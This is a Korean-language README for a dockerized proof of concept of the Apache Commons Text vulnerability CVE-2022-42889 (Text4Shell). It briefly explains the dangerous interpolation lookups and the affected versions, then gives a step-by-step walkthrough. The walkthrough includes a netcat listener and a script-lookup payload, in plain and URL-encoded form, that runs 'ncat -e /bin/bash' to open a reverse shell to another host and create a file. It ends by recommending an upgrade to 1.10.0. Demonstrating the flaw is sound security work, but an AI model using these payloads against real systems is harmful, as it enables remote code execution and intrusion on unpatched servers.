
CVE-2022-42889 취약점을 악용하는 방법을 보여주는 간단한 dockerize 애플리케이션입니다.
Apache commons-text 취약점 CVE-2022-42889에 대한 개념 증명(PoC)입니다.
Apache Commons Text는 변수 보간(interpolation)을 수행하여 속성을 동적으로 평가하고 확장할 수 있습니다. 보간의 표준 형식은 "${prefix:name}"이며, 여기서 "prefix"는 보간을 수행하는 org.apache.commons.text.lookup.StringLookup 인스턴스를 찾는 데 사용됩니다. 버전 1.5부터 1.9까지의 기본 Lookup 인스턴스 집합에는 임의 코드 실행 또는 원격 서버 접촉을 초래할 수 있는 인터폴레이터가 포함되어 있습니다. 이러한 lookup은 다음과 같습니다: - "script" - JVM 스크립트 실행 엔진(javax.script)을 사용하여 표현식 실행 - "dns" - DNS 레코드 확인 - "url" - 원격 서버를 포함한 URL에서 값 로드. 영향을 받는 버전에서 기본 보간 설정을 사용하는 애플리케이션은 신뢰할 수 없는 구성 값을 사용하는 경우 원격 코드 실행 또는 의도하지 않은 원격 서버 접촉에 취약할 수 있습니다.
Apache Commons Text 버전 1.5부터 1.9까지
CVE-2022-42889-POC 취약점을 시연하는 단계별 가이드 :docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
공격은 "${prefix:name}" 문자열을 전달하여 수행할 수 있습니다. 여기서 prefix는 앞서 언급한 lookup입니다: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
ls 명령 후 터미널 탭 3에서 hacked.txt 파일을 볼 수 있다면 공격이 실행된 것입니다.

사용자는 문제가 있는 인터폴레이터를 기본적으로 비활성화하는 Apache Commons Text 1.10.0으로 업그레이드하는 것이 좋습니다.